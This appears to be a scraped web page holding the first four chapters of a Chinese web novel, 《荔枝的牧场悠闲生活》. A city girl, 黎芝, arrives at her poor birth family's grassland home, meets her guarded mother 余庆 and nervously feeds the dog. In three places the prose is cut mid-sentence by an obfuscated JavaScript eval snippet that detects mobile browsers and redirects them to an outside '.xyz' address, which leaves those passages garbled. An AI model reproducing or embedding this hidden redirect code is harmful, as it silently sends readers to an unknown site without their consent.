《荔枝的牧场悠闲生活》 1. 第 1 章 马车摇晃得实在太厉害了。 黎芝伸出左手,紧紧抓住自己随身的行李。 她余下的另一只手,则是为了固定自己的身体,而抓紧了马车边上的某个不知名部件。 度过摇晃得特别厉害的这一段之后,黎芝感到自己此时的处境平稳了一些。 但她仍然不敢放开手,总觉得自己可能随时都会被甩下去。 尽管,这种感觉,可能只是黎芝的错觉而已。 马车会摇晃得这么厉害,并不是车本身的问题。 单纯是因为路况太差罢了。 意识到这个问题时,黎芝忽然感到非常悲观。 虽然坐在马车上的时候,体验已经极差了。 但是,接下来自己要面临的麻烦,恐怕还多着呢。 (毕竟,等同是被赶走的嘛。面临这样的处境,也不算是完全的意料之外……) (虽然感情不算很好,但好歹也一起生活了那么长时间。突然赶走我的话,也未免太过绝情了吧?至少,该派人护送我到“新家”一程才对……算了,抱怨这些,也不会对现状有所改善的。) (想开点儿好了。毕竟,“他们”其实也不是那么糟糕的双亲吧……) 或许与震动中的马车有关。 马车上,在黎芝的心中,不满与释然这两种感情,仿佛也跟着波动了起来、并且交战了片刻。 过了一会儿,不满败下阵来,释然获胜了。 因此,黎芝的内心,也逐渐回归了平静。 “到了,下车吧。”马车夫的声音响起,“请注意安全。” (这就到了?) 黎芝的心情很紧张,也不知道能不能用“近乡情怯”来形容。 总之,黎芝不太想离开马车与商队。 但若想继续待在上面的话,也实在不太现实。 “谢谢你的提醒。下车之后,我该往哪里走呢?”黎芝问道。 她环顾四周时,内心感到极度不安。 这里,完全就是所谓的“荒郊野外”那种地方吧? 既不是遍地牛羊的牧场,也不是阡陌交通的村落。 除了这条勉强可供马车行驶的、崎岖不平的道路之外,眼前目之所及,皆是茫茫荒草。 对于不擅长辨认方位的人来说,这种地方真是令人不安到了极点。 幸好,黎芝还不算这种人,但也没好到哪里去就是了。 “我也不清楚,你就一直往东走吧。”马车夫轻描淡写地说道,“那边应该就一两户人家而已。我也不知哪家是你家。下车之后,你还是自己打听吧!” “好,我知道了。谢谢你哦。”黎芝点点头。 虽然黎芝的心里充满了不安,但她不想给别人添麻烦,就决定下车之后慢慢碰运气了。 简短的对话结束后,黎芝拎起行李,便跳下了马车。 (哎呀,腿都麻了……) 黎芝觉得,自己的腿一时都不听使唤了。 也不知是久坐、还是长期颠簸的缘故。 下车时的那一跳,本以为会很轻松,却差点震得黎芝当场摔倒。 她只好把行李先扔在一旁,按摩了半天,腿脚才恢复知觉。 在黎芝给自己揉腿的时候,马车早就走了。 幸好她在私人财产方面看得很紧,应该没有把什么东西遗落在车上。 (话说,哪边是东啊?也不说一声就跑了……马车夫也不不负责任了吧。) 刚一下车,就面临了迷失方向的风险,黎芝对此感到懊恼。 早知如此,应该在下车之前,询问清楚这方面的情形才对。 事到如今,后悔也晚了。 幸好现在是中午,而且是个晴天。 此时的太阳,很大、很明亮。 黎芝抬起头来。 她观察了一番太阳与影子的方向、角度等方面,勉强判断出了东方的位置。 但这毕竟只是以太阳作为参照物的判断而已,前进时出现偏差也丝毫不奇怪。 黎芝只能“祈祷”自己选择的前进路线没有错误了。 毕竟,在这种荒凉而又陌生的地方行动的话,只是方向稍微错误一点儿的情况,就可能是“差之毫厘,谬以千里”的大问题了。 因此,看着眼前的“草甸子”,黎芝不由得产生了淡淡的绝望感。 这种一望无际的草场,她还是第一次见到呢。 面积大得吓人就算了。 上面生长的野草,也长得特别地高。 作为女性,黎芝应该并不算是矮小的类型。 但眼前这些肆意生长的野草,高的那部分,居然比黎芝的头顶还要高。 (这些草长得也太高了……简直可怕。) 对黎芝来说,此时唯一值得欣慰的事情是,这种会长得比人还要高的草并不多。 遇到这种草的时候,只要动手稍微拨开,就能继续走下去了。 但这点儿欣慰,也不过是因为,黎芝发现,自己现在的处境,比想象中最坏的状况,多少还要好一点点罢了。 简直堪比“苦中作乐”。 (话说,现在是夏天诶,这里不会有蛇吧?) 想到这一可能性的时候,黎芝不由得提心吊胆起来。 有些不妙。 这里,竟然连一根可以驱赶毒蛇的树枝都捡不到。 幸好,因为在这次长途旅行开始前就做了一定准备的缘故,黎芝的身上一直穿着布料结实的衣裤和鞋子。 穿着这样的衣服鞋子走路的话,在草原上应该会安全一些。 黎芝再度确认了自己的着装。 她有理由相信,诸如毒蛇虫鼠之类的有害生物,钻进或咬穿自己衣物的可能性并不算高。 (好,走吧!) 黎芝努力地、在心里鼓励着,多少有些动摇的自己。 独自走在这种陌生荒凉的地方,黎芝的心里也非常紧张。 因此,这样走路时,黎芝一度想用唱歌来壮胆。 但她实在是不习惯这样做。 才刚一开口,还没出声,黎芝就又闭了嘴。 要是秋墨也在这里就好了。 想到秋墨的时候,黎芝的心中涌上无奈、不甘与淡淡的感伤。 上次相见的那一次,竟然就是最后的一面。 不知不觉间,两人间的缘分已经断绝了。 但在断绝之前的时刻,黎芝对这一点却毫无察觉。 真没想到,未来竟然会变成这个样子。 若是早点知道就好了。 如果早就知道分离这一结果的话,至少在那之前,能够不留遗憾地告别。 虽然黎芝伤感了片刻,但之后,她又重新振作了起来。 若是有缘,即使错过,终会重逢。 若是无缘,命当如此,不可强求。 想起这样的信念时,黎芝感觉到,自己的心情又轻松了一些。 过去的日常种种,已经犹如逝水,无法返回。 现在的自己,要过的是一种全新的生活。 尽管前路渺茫无助,此刻也只能竭力前行。 她继续向前走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923685|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>(算起来,已经走上一盏茶时间了吧……我现在选择的方向,到底对不对啊?) 黎芝不安地抬起头来,再度确认太阳与影子的位置。 最终,她还是觉得自己前进的方向应该没什么错误。 因此,虽然心中十分焦虑不安,黎芝还是继续走了下去。 黎芝的体力与腕力,在女孩子里都算是近乎顶尖的程度。 所以,虽然拎着沉重的行李走了好一阵子,她也只是觉得脚有点酸麻而已。 甚至可以认为,这腿脚上的酸软无力,也是因为之前在马车上坐得太久了吧? 走路感觉有些累,也许并非是体力耗尽的体现。 继续这样走了大概一炷香时间之后,黎芝总算有了今天的首个重大收获。 一些灰黄色的低矮物体,在青豆色的草场上,繁复杂乱地排列开来。 虽然感觉上怪怪的,但那些物体,看起来的确是建筑物的模样。 (房子?!而且是一长排房子?!) 黎芝的心中,先是涌上了明快的喜悦感。 随后,她又由于紧张、焦虑等缘故,心情变得有些低落起来。 朝着那些房子的位置走过去的话,黎芝越是前进、看到的景象就越是清楚。 仔细一看,这些颜色有些奇怪的房子,并非是黎芝下意识认定的“砖瓦房”。 不过,这也难怪。毕竟,这些房子在颜色上,就完全不像是砖瓦结构了。 但是,让黎芝惊愕的是,它们甚至都不算是“木制的小屋”。 这些房子的本来面目,乃是在黎芝的认知中,如同传说般遥远的“草屋”。 虽然明确地知道,世界上是存在“草屋”这种事物的。但是,亲眼目睹到它们的时候,黎芝还是感到相当震惊。 可以说,黎芝此时的心情,相当地复杂混乱。 面临的情况,其实比她所期待、预料的差得多,但又比黎芝想象中,最糟糕的可能性要好上不少。 看到这些草屋之前,黎芝甚至真的有过,“自己将来可能要在帐篷里生活”的这种担心呢。 尽管黎芝还是很悲观,但想到至少比她最担心的境况好上一些,心情总算又放松了少许。 依然不知能不能用“近乡情怯”来形容这种感觉。 总之,越是靠近那些草屋,黎芝的紧张与焦虑,就越是变得严重。 想到自己从今天开始,就要待在这种荒野般的地方,与几乎完全陌生的“家人”一起生活了……黎芝那惶恐不安的心情,逐渐攀升到了极点。 简单来说,她简直快要吓死了。 对黎芝来说,今天的此时此刻,就恐慌程度而言,实在、简直是前所未有的激烈。 她甚至想转身逃回大路上,等待并拦下随便一辆回京的车,就这么再搭车回去好了。 固然,原本的家已经没有黎芝的位置了。 但京城那么大、那么繁荣,总会找到一两个“包吃包住”的工作吧? 而且,在找到工作之前,也可以寻求要好同学的帮助。 比如说,秋墨…… 打住。 (能不能别再想他了!) (你想让他看到你这么狼狈的样子吗?) (至少让他只记得你最美好的一面吧,这样对彼此都好……) 心理斗争一番之后,黎芝无意识地抿紧了嘴唇。 她艰难地迈开双腿,朝着那一排茅草屋走了过去。 勇气不知何时早已消失殆尽,支持着状态近乎麻木的黎芝行动的,是她仅余的自尊心。 2. 第 2 章 决定这么做的时候,感觉上似乎十分痛苦。 但是,一旦心态麻木,走过去这件事,也就没那么艰难了。 “你好——”与草屋还有一定距离的时候,黎芝就开口了。 虽然,之前并不觉得有什么异样。但一开口,她忽然发现自己的声音变得干涩而又沙哑。 (是因为已经几个时辰没喝水了的关系吗?但之前在马车上的时候,明明声音还很正常的……算了。) 对于“自己的嗓音”这个本就不太重要的问题,黎芝放弃了深究。 “……有人吗?”黎芝僵硬地站在了一座草屋的前方。 会选择站在这里的理由,并不是因为,黎芝认为这座草屋里有人的可能性最高。 而仅仅是因为,黎芝信步走过来的时候,碰巧距离这座草屋最近罢了。 实际上,黎芝已经做好“要挨个草屋询问过去”的心理准备了。 但就在这时…… “你找谁?”黎芝正前方那座草屋的门,突然开了。 这种由草编织而成的门,打开的时候,居然会让人听不到声音。 因此,草屋的门打开的时候,也显得格外突兀、吓人一跳。 门竟然就在自己面前开了。 黎芝完全没有想到这一点,因而备受惊吓。 她本能地往后倒退了几步,还因此差点失去平衡而摔倒。幸好,最后还是稳住了。 从草屋里走出来的,是一位中年女人。 她浓眉大眼、身材高大。 虽然并不是温婉亲切的女子,但中年女人具有一种狂野、顽强、充满生命活力的气质。 这些特征,让充满存在感的她,同样能散发出独特的吸引力。 中年女人这样的人,是黎芝迄今为止的生活中,几乎完全不曾出现过的类型。 由于惊讶,黎芝目不转睛地望着对方。 此时,黎芝的心中,充满了“不可思议”这种感觉。 眼前的这位中年女人,让黎芝感到新鲜,但又奇异地带有熟悉的印象。 虽然不知道原因,但黎芝感到,自己的心在胸膛中怦怦地跳动了起来。 不过,对中年女人那一方来说,黎芝这种纤细、清秀、优雅而甜美的女孩子,应该同样是她从未见识过的类型吧? “你找谁呀?”中年女人问道。 从听到的第一句话,可以判断出中年女人的声音,原本是高亢响亮的类型。 但在看到黎芝的时候,她的声音自然而然地轻柔温和了许多。 “我……那个……”黎芝回答的声音显得很笨拙。 事到如今,黎芝才发现,自己这一路走来,居然连“组织语言、说明情况”这么重要的事情,都忘记计划了。 偏偏,现在面临的,又是黎芝极不熟悉的情形,不能靠感觉与习惯作答。 因此,黎芝不由得,变得结结巴巴了起来。 “小姑娘,别怕。”中年女人以带有温柔抚慰感的声音说道,“我不是坏人,也不着急。你不要紧张,可以慢慢地、想好了再说。” “我找栗原他家。”黎芝终于恢复了冷静,十分简短地说道,“我是栗原他家失散多年的‘女儿’,是来认亲的。您知道他们家在哪里吗?” 中年女人沉默不语,她极为惊讶地望着黎芝。 中年女人此时的目光似乎十分复杂,让黎芝难以解读。 由于紧张,她不由得后退了几步。 “那个……请问您认识栗原家的人吗?”黎芝又再问了一遍。 黎芝很慌张,难道自己找错地方了吗? 还是说,栗原家其实是一般人并不认识的人家? 无论哪种情况,都会让黎芝十分困扰的。 但中年女人的话,却中断了黎芝的猜想。 “当然认识啊。”也许是被吓呆了,中年女人有些木然地说道,“因为,我是栗原的妻子余庆。” “啊?真的吗?”思绪变得混乱的黎芝,提出了颇为愚蠢的问题。 (怎么能问人“真的吗?”呢,这么愚蠢的问题,是不应该问的……) 黎芝有些懊恼。 “对,是真的哦。”余庆幅度很小地点了点头。 “这、这样啊……”黎芝继续愚蠢地回答着。 这样太过于轻易地、获得了自己想要的结果的话,反而让黎芝不知道接下来该怎么办才好了。 虽然本来就是为了相认而来的,但黎芝其实还没有做好关于这件事的心理准备。 本以为生身父母需要寻找一段时间,但却一下子就遇到了。 这个结果,让黎芝心神紊乱。 余庆沉默地注视着黎芝。 对方的目光,所中包含的情绪十分复杂,但黎芝不觉得那是纯粹的母爱。 如果是母爱的话,本来应该是一种对孩子无条件接纳的感觉。 但余庆的目光,却让黎芝觉得对方仿佛在戒备自己似的。 黎芝总觉得,余庆对待自己的态度,还不如最初不知身份的时候,对身为“陌生人”的黎芝的态度自然和蔼呢。 (虽然也不是不能理解“她”的这种心情,但果然有点伤心……) 黎芝有些沮丧。 气氛一时僵硬了起来。 “那个……我怎么称呼您才好呢?”黎芝很是为难地问道。 如果黎芝没有搞错的话……对面的余庆,应该就是自己的“生身母亲”这一存在了。 虽然,几乎可说在出生之后就一次也没有交流过,但血缘上的关系,理应不会消失才对。 只是……虽然亲子之间的维系,是天然存在的;但亲子之间的情感,却是后天培养起来的。 从未相处过的亲人之间,恐怕并没有真正的亲情可言。 至少,在黎芝的感觉中,亲情不应是那么廉价的事物。 因此,想要获得“亲情”的话,就需要双方花费未知的时间,进行“重建”了。 “嗯……你怎么顺口就怎么叫吧。”余庆严肃地稍作思考之后,如此回答。 (怎么顺口就怎么叫?) 对于余庆的话,黎芝感到有些为难。 之前的人生中,黎芝对自己的“养母”,都是称之为“母亲”或“母亲大人”的。 但如果也用同样的称谓、称呼自己这位素未谋面的生母的话,黎芝总觉得不太对劲,太不自然了。 “我可以叫您‘妈妈’吗?”思忖了一阵子,黎芝用商量般的口吻询问道。 听到“妈妈”这两个字的时候,余庆愣了一下。 在极短暂的时间中,余庆微微皱起了眉。 但幸好,她的眉头很快又舒展开来。 虽然神情舒展了一些,但不知为何,在黎芝的感觉里,总觉得此时的余庆,带有一种拒人于千里之外的冷漠感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923686|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>或许是黎芝还没有获得对方真正认可的缘故吧。 “可以。也不用对我用‘您’来称呼,用‘你’就好了。”余庆说道,“女儿啊,你还没告诉我,你的名字呢。” 女儿? 突然被对方用“女儿”来称呼,黎芝总觉得很是奇怪。 大概,这是因为,对方不知道黎芝的名字,因而也不能从中提取出“昵称”来称呼她的缘故吧。 “我还以为……”黎芝苦笑了一下,腼腆地说道,“到这里之后,我会被起一个新的名字。因此,过去的名字是什么,都无所谓了呢。” 黎芝没有在最初自报姓名,也的确是抱着这个想法。 她之前真的认为,自己过去叫什么,对新的家人来说并不重要。 来到新家之后,自己会被赋予新的名字。 但现在看来,似乎并不是这样。 黎芝的心情有些复杂,不知道该不该高兴。 不能更换一个新的名字的话,就总感觉“没有真正地进入新生活”似的。 但若是真的被更换名字的话,对黎芝来说,感觉也是有些困扰的。 毕竟,黎芝已经用了这个熟悉的名字十几年了嘛。 若是要记住并熟悉一个新名字、并对新名字形成“条件反射”般的反应的话,应该会花费很长的时间吧。 “这个问题,也许要参考一下我的丈夫、你的‘爸爸’的意见,才能最终定夺吧。”余庆神色严肃地说道,“但照我的看法,你的名字改不改都无所谓。我们为你起一个新名字并不容易,而你要适应它也要耗费很长的时间。不如先使用旧名字,这样你方便,我们也省事。当然,如果你想要换一个新名字,来帮助自己适应新生活,我当然也绝对不会反对。” 余庆的话语,让黎芝感到惊奇。 黎芝惊奇的,不仅仅是母亲建议自己保持原名这件事,那也许只是嫌麻烦罢了。 让黎芝真正惊奇的,是外貌稍显粗豪的母亲,说起话来,居然也有颇为文雅的一面。 虽然,从外表上看,完全是不能相提并论的类型。 但是,就语言表达、思维能力等方面来看的话,余庆与黎芝的养母,倒也大差不差。 差别肯定是有的,但没有黎芝所想象的那么大。 甚至……不知道是不是血缘的偏爱所致,黎芝甚至觉得自己的亲生母亲,好像比养母更为聪明。 黎芝本来已经做好了,与愚昧粗鲁的新家人共同生活的准备的。 此时遇到却是这样的状况,这让她多少感到了意外以及惊喜。 看来,自己过去所处的阶级与环境太过于狭窄,认知局限性也太强了。 从现在开始,要逐渐更新自己的认知,直到与现实尽量趋于一致。 这样一来,才能更好地适应新家庭与新生活吧? 黎芝认真地检讨着自己过去的错误。 而且,在此时此刻,黎芝的心中,抱有一种近似“涅磐新生”的热情。 “我叫黎芝。”不知不觉间,黎芝恢复了那种清澈悦耳、似颗颗珠子散落玉盘的音质,她以美丽的声音补充说道,“黎明的黎,芝麻的芝。” 其实是“芝兰玉树”的芝。 但要在当下,说出这个要特意解释才容易明白的词汇的话,会让黎芝觉得,实在有些不好意思。 果然还是“芝麻”这么“接地气”的词语,更符合眼下的情境吧。 3. 第 3 章 听到黎芝解释自己名字的意思之后,余庆淡然地点了点头。 母亲似乎没有特别关心,黎芝名字中寓意的意思。 黎芝认真解释了一番后,她不仅没有客套的夸奖赞美几句,甚至好像都懒得做出什么反应似的。 不得不说,余庆的这种反应,是会让黎芝感到有些受挫的。 (也许是我太敏感了吧……) 黎芝这个名字,虽然也没有特别独特、典雅或是高明的感觉,但至少,很多人在听到之后,都会随口对她赞美一句“可爱”的。 余庆却没有这么做的意思,真让黎芝感到有些不习惯。 虽然,真正的母女之间,本就不需要什么“客套”才对。 但不被人虚伪地“客套”一番的话,黎芝的心里还是会多少感到别扭的。 毕竟,黎芝对“能否被生身父母认同”这件事,非常敏感、患得患失。 黎芝甚至觉得,自己由于太过于在乎余庆的态度,已经到了连正常思考都会受到影响的程度了。 为了防止思绪进一步错乱下去,黎芝正努力转变自己看待事情的视角与方式。 比方说,余庆会让黎芝感到疏远,也许并不是因为不高兴、不耐烦、或是对黎芝不喜欢,而是基于更单纯、无心的理由。 有可能是这样的吗? 比如说……或许,牧民这种人,本就是比起装模作样,更习惯于冷淡漠然吧。 抑或,只是余庆个人的性格比较冷淡? 如果考虑到这样复杂的可能性的话,那就实在很难搞懂余庆的心情了。 而且,黎芝非常强烈地怀疑,直接询问余庆的话,也不会获得自己想要的答案的。 算了,还是不要深究这种事了。 黎芝无奈地决定放弃这个越来越让自己钻牛角尖的思考。 考虑一些其他的事情吧。 虽然是想这么做,不过母女之间那奇怪的感觉,实在很难忽略过去。 这仍然是由于余庆在得知黎芝身份之后,就突然变得不怎么爱说话、对黎芝抱有某种戒心的缘故。 因此,她现在与黎芝之间的气氛,仍然十分生硬紧张。 (这种僵局,或许只是我的错觉而已……) 黎芝并不怎么信任自己的感觉。 她有时觉得,会怀疑余庆对自己没有好感、反而抱有戒心,这也许并不是余庆的问题,而是自己的“被害妄想”吧。 总之,事已至此,黎芝也只得决心努力缓和僵局。 (还是试着和余庆聊聊名字的事情吧……) 想到自己的名字,黎芝便有些百感交集的感觉。 “‘妈妈’可以叫我‘荔枝’啊。”黎芝平静认真说道,“我过去用的姓氏,与‘爸爸’的姓氏,本来就很接近。而且,我上学的时候,同学也喜欢叫我‘荔枝’的……” “‘荔枝’是什么意思?”余庆疑惑地问道。 原本神色一直严肃得接近木然的余庆,在听到黎芝话语中的关键词的时候,竟然流露出了某种疑似“好奇”的情感。 这或许是缓和的迹象吧?黎芝多少安心了一些。 “‘荔枝’是一种在南方树上结的水果哦。”黎芝很紧张地说道,“外面是一层硬皮,最中央是一个黑色的核。皮与核之间,有一层白色半透明的果肉,滋味清甜,很好吃的。” “果然是一种‘东西’的名字啊。”余庆放松地说道,“我说的么?听起来,并不是你把姓氏从‘黎’改成‘栗’之后,得到的简单发音组合,而似乎具有某种明确的‘意思’。我之前就这么觉得了。” “是的。”黎芝依然很紧张地说道,“因为我的名字‘黎芝’本身就与‘荔枝’谐音,所以过去同学们经常用‘荔枝’称呼我。我觉得,爸爸和妈妈用‘荔枝’这个名字来称呼我,也很合适啊。” “那个……以后再说吧。”也许是因为稍稍萌生的好奇心得以满足的关系,余庆的神色又再缓和了一些,她又再问道,“你现在有何打算?到某个屋子里面休息,还是参观一下你的‘新家’呢?” 只有这两个选项吗?黎芝感到不太安心,但她也不知道该在此时提出什么要求为好。 “妈妈带我参观一下我的新家吧。”像荔枝果肉般柔润清甜的声音响起,黎芝有些笨拙地做出了选择。 “行李就先放在这里吧。”余庆指着一处地面,说道,“我们这里的人,是不会乱动别人的东西的。再说,这里几个时辰,也未必会路过另一个人……” 看着余庆所指的地面,黎芝却是面有难色。 那一片地面上,并没有长草。 那是暴露在外、像是沙土地一样粗糙的土地。 也许余庆认为,相比草地,沙土地更为干净吧? 但对黎芝来说,可不是这样。 她素来有些洁癖,虽然手中的行李一直经历风吹日晒,也不算干净的物件了。 但使得行李有些脏的原因,只是因为上面有浮灰或是风沙而已,并不是真的不卫生。 因此,就这样直接把行李丢在地上的话,黎芝的心里肯定是有些排斥、难以接受的。 “我觉得有些脏……”黎芝最终还是鼓起勇气,对余庆这么说道。 余庆愣了一下,似乎是没想到,京城里长大的少女会这么矫情、洁癖的关系吧。 幸好,面对由于洁癖而矫情的黎芝,余庆的态度比起嫌弃反感,更多的像是困惑不解、甚至试图去包容。 这比黎芝担忧的相处方式,可是健康多了。 “那就拿到屋里来吧。屋里的地上有草垫子。”余庆伸出了手,又再说道,“给我吧。我给你拿进去好了。” 这应该已经算是余庆的妥协了。 反正这个行李也是不怎么干净的……黎芝说服了自己,把手里的行李递了过去。 “谢谢妈妈。”黎芝柔声说道。 余庆接过黎芝手里的行李,转身进了草屋,放下就走了出来。 “下次不用说谢谢。”余庆说道,“一来,这种事情实在太小了,根本不值得一谢。二来,咱们是母女,道谢的话就太见外了。” 虽然说是母女,但也只是血缘上的母女啊。 黎芝又一次心想,亲情本来就是培养出来的。 从未培养过亲情这种特殊感情的二人,关系顶多也只会比初次见面的继母与继女亲近少许吧? 硬要把初次见面的母女关系,说成本来就是天然亲近的一家人的话,只会让黎芝感到很有些苦恼而已。 黎芝的性格,本来就有些怕生。 而且,黎芝的直觉总是告诉她,余庆并没有口头上表现出来的那么喜欢女儿。 强调“太见外了”,也只是因为觉得“应该这样说”而已。 或者说,一直在身边养大的女儿,是喜欢的。 余庆不喜欢的女儿,只是黎芝而已。 意识到余庆可能抱有的真实心情之后,黎芝就变得更加怕生畏缩了。 (这可不行……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923687|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要振作一点……) 黎芝命令自己转换想法,但这么做也并不容易。 “你怎么了?”余庆打量着呆呆地站在那里的黎芝,问道,“你看起来好像很难受,是饿了吗?” “没有。”黎芝摇摇头,说道,“我现在不想吃饭,妈妈。” 虽然应该是饿了,但黎芝完全没有“想吃东西”的心情。 她只是由衷地感到非常疲惫,却又不想休息而已。 “那么,就先和我走吧。”余庆说道,“简单地看看,选择一下你想要的屋子吧。” 最初,黎芝没有理解余庆的意思。 黎芝以为,余庆的意思是说,这里一长排的屋子,大部分都是有用处的。 但实际参观之后才明白,这里的屋子虽然多,但大部分都和空屋子没什么区别。 充其量,不过是作为仓库,堆着些杂物罢了。 但大部分屋子里堆积的物资,也不足以单独占据一间屋子,看起来很浪费。 据余庆说,到了“剪羊毛”这一类事情的时间,仓库需要装的东西就很多了。 现在只是不需要库存出产物,所以才有那么多的空房间而已。 这个家里,有一只叫“小黑”的猫。 它几乎全身都是黑的,但是爪子、耳朵尖与尾巴尖的部分是白色的。 这大概就是所谓的“乌云踏雪”毛色了。 这种毛色的话,可能是好猫吧?黎芝不太清楚。 黎芝有些害怕动物,很排斥与动物接近。 上学时,她的同学大都会养一两只宠物。 而黎芝却十分排斥动物,排斥到了只要谁邀请她去家里玩,她都一定要打听、确认对方的房间里没有养宠物才行。 如果对方养了宠物的话,黎芝就会百般推脱不愿意去。 倒也不是什么动物都不行的意思。 如果是鱼的话,黎芝就觉得无所谓,鸟也还好。 但会跑来跑去,特别是会蹭人腿的动物,黎芝接触到它们的时候就会吓得乱跺脚。 不过,黎芝也清楚,住在乡下的话,不养猫是不行的。 毕竟,虽然黎芝很讨厌养宠物,但是相比起来,猫至少还比老鼠可爱多了。 所以,只是有“小黑”的话,黎芝还可以接受。 但这个家里,还有一只非常大的黄狗,叫做“阿黄”。 阿黄看起来非常强壮,有黎芝的腰那么高。 毛也非常长,拖着两只耷拉的长耳朵、和一条让人联想起狼的长尾巴。 阿黄的脖子上,戴着一只很宽的项圈,但却没有连着锁链或绳子。 所以,这项圈戴上是为了什么?真搞不懂,可能是担心阿黄的脖子受到攻击吧。 而且,黎芝最害怕的动物就是狗了。 对猫,黎芝还只是微微的排斥而已。 对狗,那就是完全的畏惧、乃至恐怖了。 “它咬人吗?”黎芝十分恐惧地望着阿黄,因为太害怕了,她直接缩在余庆的身后。 “肯定咬人啊!”余庆很自然地说道,“完全不咬人的狗,养来怎么看家呢?” 余庆这一句话出口,黎芝就沉默了下来。她真不知道这句话要怎么接。 “我怕狗。”黎芝无奈地说道,“妈妈,你能让它不咬我吗?” 余庆似乎试图安慰黎芝,解释道:“它不咬家里人。” “那我算不算是‘家里人’呢?”黎芝很困惑地问道,“它能认识我吗?” 4. 第 4 章 “会认识的哦。”余庆颇为乐观地说道,“要是你担心它记不住你的话,就亲自喂喂它吧。它一旦记住你的气味和模样,就不会把你当‘外人’对待了。” (这附近有什么适合喂狗的食物吗?我好像没有发现……) “喂喂它?”黎芝眨眨了眼睛,又再问道,“我应该喂它什么?” 考虑“喂狗”这件事的时候,黎芝想起,自己的行李里,就有五香味的肉干。 但是,用这么珍贵的食物喂狗,实在太奢侈了吧?黎芝内心中舍不得这么做。 好在余庆也没有这样的意思。 “什么都可以。”余庆轻松地说道,“如果你不知道喂它什么,那就喂张饼吧。” 说完之后,余庆回去了草屋之中。 因为草屋很小的关系,余庆找东西的速度当然也就很快。 转身的功夫,余庆就拿出了一块黑黄色的东西,递给黎芝。 黎芝捏了捏,只觉得手里的东西又干又硬。非但不像肉饼,感觉连油都没有放。 “这是什么?”黎芝知道这是饼,但不清楚这是什么饼。 “这是杂粮饼子。是我们用来喂狗的东西。”余庆摇摇头,略带无奈地说道,“你可别吃它,不好吃的。” “嗯,但我没有想吃啊……”觉得自己被误解了,黎芝有点尴尬。 若是没到绝境的程度,黎芝再饿也不会吃这种东西的。 光是看颜色和手感,黎芝就对它很没有食欲了。 而且……先不提口感与卫生问题,黎芝真心怀疑,咀嚼这种东西,会导致牙床疼痛的。 “你不吃就好,快拿去喂狗吧。”余庆鼓励般地说道,“别怕,有我在呢,它不会咬你的。” “不是……我是想问问……”黎芝局促不安地说道,“喂狗的食物,只有这种杂粮饼子吗?喂狗不应该用骨头的吗?” 余庆看向黎芝,笑了起来。 但黎芝没有笑,她不太高兴。 不知是不是黎芝的感觉,她总觉得,余庆的笑容里有一种轻视的味道。 不过,倒也未必如此。也许余庆只是单纯觉得很有意思罢了。 于是,黎芝努力地把自己感觉到的轻视,解释成是自己过于敏感、想多了的缘故。 平时的黎芝,其实不是这样敏感多疑的性格,相反颇为单纯。 她现在会这样思考,也是有原因的。 在陌生的环境下,与陌生的家人相处,这实在会让人的神经紧绷不已。 而且,短时间内,简直完全无法改变这一点。 “咳,哪有那么多骨头啊?大小姐真是不知人间疾苦啊。”余庆苦笑一般无奈地说道,“给狗喂骨头,那是你们城里人才有的习惯吧?我们乡下人家的狗,就没有这么好的待遇啰。其实,它们平时吃的,还不如这个饼子高级呢。” “这样啊。”余庆的话,让黎芝很忧郁。 她越来越真切地体会到,自己的生身父母家,很可能是很穷的一家人。 黎芝会考虑这件事,当然并没有嫌弃自己家贫穷的意思。 她只是担心自己的到来,对这个家的经济造成某种负面影响而已。 算了,这种事以后再说。 先喂狗吧。 “阿、阿黄……”黎芝结结巴巴地呼唤着黄狗的名字。 对一般人来说,喂狗多半是一件很简单的小事情吧。 但对黎芝来说,这件事可比让她接连参加几十次考试还要难。 光是靠近阿黄这件事,就已经到了“时刻都要消磨黎芝的意志力”的程度了。 她每走一步,都需要劝说、安抚自己不要紧张,告诉自己这件事是很安全的,才能继续下去。 这可真让人为难。 战战兢兢地、伸出拿着杂粮饼子的手的时候,黎芝已经觉得,自己几乎吓得“魂不守舍”了。 如果阿黄吃饼子的时候,会连同自己拿饼的手一口咬住,甚至撕扯到重伤的话,该怎么办才好?黎芝总不由得有这样的担心。 尽管,这种担心多半只是杞人忧天而已。 但是,对怕狗的人来说,接近狗这件事,真的就是那么恐怖。 不得不做之前,难免会让人控制不住地展开遐想。 况且,黎芝有生以来,还没接触过这么大的狗呢。 以前遇到的宠物狗,只比板凳大上一圈而已,都能吓到黎芝。 而像阿黄这么大的狗的话,对黎芝来说,喂它所造成的恐惧感,真的已经是与喂狼没多大区别了。 不过……虽然在黎芝的想象中,可能会发生无比恐怖的事情。但现实中,却什么也没有发生。 